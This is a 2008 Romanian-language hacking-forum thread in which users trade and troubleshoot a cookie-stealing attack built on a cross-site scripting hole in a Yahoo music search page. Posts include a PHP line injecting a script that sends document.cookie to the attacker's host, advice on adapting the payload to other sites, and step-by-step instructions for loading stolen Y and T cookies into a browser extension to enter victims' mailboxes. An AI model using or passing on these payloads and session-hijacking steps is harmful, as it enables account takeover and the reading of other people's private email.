Caracal Posted June 26, 2008 Report Share Posted June 26, 2008 doamne! alt lache...de unde apareti ma? Quote Link to comment Share on other sites More sharing options...
Hellbound Posted June 26, 2008 Report Share Posted June 26, 2008 mergea azi acu nu mai merge delok ... apare pagina alba Quote Link to comment Share on other sites More sharing options...
loki Posted June 27, 2008 Author Report Share Posted June 27, 2008 a fost patchuit xss-ul. Pana la noi xss-uri asta e... Quote Link to comment Share on other sites More sharing options...
r1u5m4 Posted June 27, 2008 Report Share Posted June 27, 2008 xss-ul inca merge fff bine!! Quote Link to comment Share on other sites More sharing options...
loki Posted June 27, 2008 Author Report Share Posted June 27, 2008 xss-ul inca merge fff bine!!wtf azi noapte era cazut, lucreaza la site, ce naiba, ma trimitea la alta adresa din cn.yahoo sa caut muzica acolo.... :shock: sper ca nu lucreaza la patch-uirea lui Quote Link to comment Share on other sites More sharing options...
Hellbound Posted June 28, 2008 Report Share Posted June 28, 2008 Am si eu o intrebare nu prea am inteles ce cu xss dar le folosesc :roll: Si vreau sa te intreb ceva lokipaki dupa ce v-a fi patchuit xss-ul si gasesc alt xss unde il inlocuiesc ? Zimi daca e bine ... uite aici ?$got=$_GET['got'];if(!$got) { header('Location: '.$xss.'</title><script>document.location="http://'.$geturl.'?got=1%26get="%2Bescape(document.cookie);</script>'); exit();}Daca nu explica-mi tu sa inteleg odata Sau cand gasesc Xss la un site ce pot face cu el explicami in mare cam ce as face adik pot face tot un grabbed ? sau cum ? Ms... Quote Link to comment Share on other sites More sharing options...
loki Posted June 28, 2008 Author Report Share Posted June 28, 2008 Nu acolo, aici:// DE MODIFICAT DUPA CAZ:$xss='http://music.cn.yahoo.com/search?p=';In ideea ca urmeaza script dupa p=.Am vrut sa separ pentru usurare dar pentru alte xss-uri e bine de umblat si mai jos:</title><script>document.location= poate fi inlocuit deobicei cu "><script>document.location= (</title> are rol doar in acest caz de a optimiza viteza ca sa se execute imediat dupa zona titlu). In concluzie pentru a generaliza codul pentru mai multe xss-uri se pot face modificarile codului asfel:$xss='http://music.cn.yahoo.com/search?p=</title>';...if(!$got) { header('Location: '.$xss.'"><script>document.location="...Dar ruperea asta a link-ului a fost facuta doar in scopul unei mai usoare intelegeri a codului.Un xss la alt site il poti folosi similar dar pe situl ala. Trebuie sa stii la ce ai nevoie de cookie-ul de acolo dar in rest nu merge aceeasi metoda, numai la yahoo exista un link de intrare in mail. La altele poti fura cookie si lucra pe cookie-ul tau de pe disc pentru a obtine o sesiune. La neogen de exemplu e un cid= in cookie care odata inlocuit iti garanteaza accesul in cont. Quote Link to comment Share on other sites More sharing options...
Caracal Posted June 28, 2008 Report Share Posted June 28, 2008 nu stiu ce spam va vede voua eu am ars mai multi...poate depinde si hostul pe care il puneti Quote Link to comment Share on other sites More sharing options...
KlN Posted July 4, 2008 Report Share Posted July 4, 2008 MEtoda asta de a fura cookie merge si dak instalezi un wamp server si pui p el folderul /prajituri ? Bineinteles dak ai asociat domeniu etc .... :roll: Quote Link to comment Share on other sites More sharing options...
loki Posted July 5, 2008 Author Report Share Posted July 5, 2008 probabilmetoda asta e initial facuta cu scopul de a o trage tuturor serverelor care iti da cu flit la un <img src="...php" inclusiv hi5. E doar o punere in practica. Quote Link to comment Share on other sites More sharing options...
KlN Posted July 5, 2008 Report Share Posted July 5, 2008 Aha, ms loki ! Quote Link to comment Share on other sites More sharing options...
AllexCT Posted July 9, 2008 Report Share Posted July 9, 2008 ajutati-ma si pe mine pls, imi emrge si am obtinut si dupa ce am y-ul si t-ul unde el bag c anu mai stiu, er aundeva unde explica dar nu gasesc Quote Link to comment Share on other sites More sharing options...
inthel Posted July 21, 2008 Report Share Posted July 21, 2008 acelas reultat ca si lui Caracal... Quote Link to comment Share on other sites More sharing options...
Hertz Posted July 21, 2008 Report Share Posted July 21, 2008 Instalati la Firefox COOKIE EDITOR si intrati pe mail.yahoo.com apoi va logati pe mailul vostru.Intrati in Cookie Editor si modificati Y si T ale voastre cu cele luat cu stealerul si apoi dati save urmat de refresh la pagina si veti fii pe mailul victimei.Bafta!Edit: Pt AllexCT Quote Link to comment Share on other sites More sharing options...
loki Posted July 22, 2008 Author Report Share Posted July 22, 2008 Instalati la Firefox COOKIE EDITOR si intrati pe mail.yahoo.com apoi va logati pe mailul vostru.Intrati in Cookie Editor si modificati Y si T ale voastre cu cele luat cu stealerul si apoi dati save urmat de refresh la pagina si veti fii pe mailul victimei.Bafta!Edit: Pt AllexCTda man dar asta e metoda standard pentru orice cookie in afara de yahoo unde... nu mai modifici nimic; e unul din putinele servicii care iti ofera covorash roshu ca sa intri direct, adica link direct continand Y si T. Quote Link to comment Share on other sites More sharing options...
MicSiRau Posted July 23, 2008 Report Share Posted July 23, 2008 tare Quote Link to comment Share on other sites More sharing options...
Azrael-sub7 Posted July 25, 2008 Report Share Posted July 25, 2008 @lokipakisingura problema cu xss e ca nu merge pe IE pe firefox merge orice varianta si pe opera daca ai gasi unul care merge si pe IE sau sti vre unul ar fi perfect ... As putea sa fac o identificare de browser iar dupa aceea sa folosesc xss in functie de browser ... Quote Link to comment Share on other sites More sharing options...
Cifre Posted August 4, 2008 Report Share Posted August 4, 2008 Merge perfect! ! Quote Link to comment Share on other sites More sharing options...
ViewStar Posted August 4, 2008 Report Share Posted August 4, 2008 unix_chro pe ce host ai pus?? Quote Link to comment Share on other sites More sharing options...
Cifre Posted August 4, 2008 Report Share Posted August 4, 2008 unix_chro pe ce host ai pus??ftp.t35.com faci user la http://www.t35.com Quote Link to comment Share on other sites More sharing options...
Raven Posted August 8, 2008 Report Share Posted August 8, 2008 merge perfect thx edit: nu trebuie sa il trimiti neaparat prin email. Quote Link to comment Share on other sites More sharing options...
Hellbound Posted August 10, 2008 Report Share Posted August 10, 2008 nu mai merge pe ie gata ... Quote Link to comment Share on other sites More sharing options...
Hellbound Posted August 10, 2008 Report Share Posted August 10, 2008 nu mai merge pe ie gata ...Sry de duble post ... dar mi-a aparut eroare aia si am crezut ca nu s-a postat Quote Link to comment Share on other sites More sharing options...
Raven Posted August 10, 2008 Report Share Posted August 10, 2008 nu mai merge pe ie gata ...Sry de duble post ... dar mi-a aparut eroare aia si am crezut ca nu s-a postatla mine imi merge si pe IE Quote Link to comment Share on other sites More sharing options...
hacker_virusat Posted August 23, 2008 Report Share Posted August 23, 2008 are cienva un XSS valid? ca acesta nu mai functioneaza Quote Link to comment Share on other sites More sharing options...
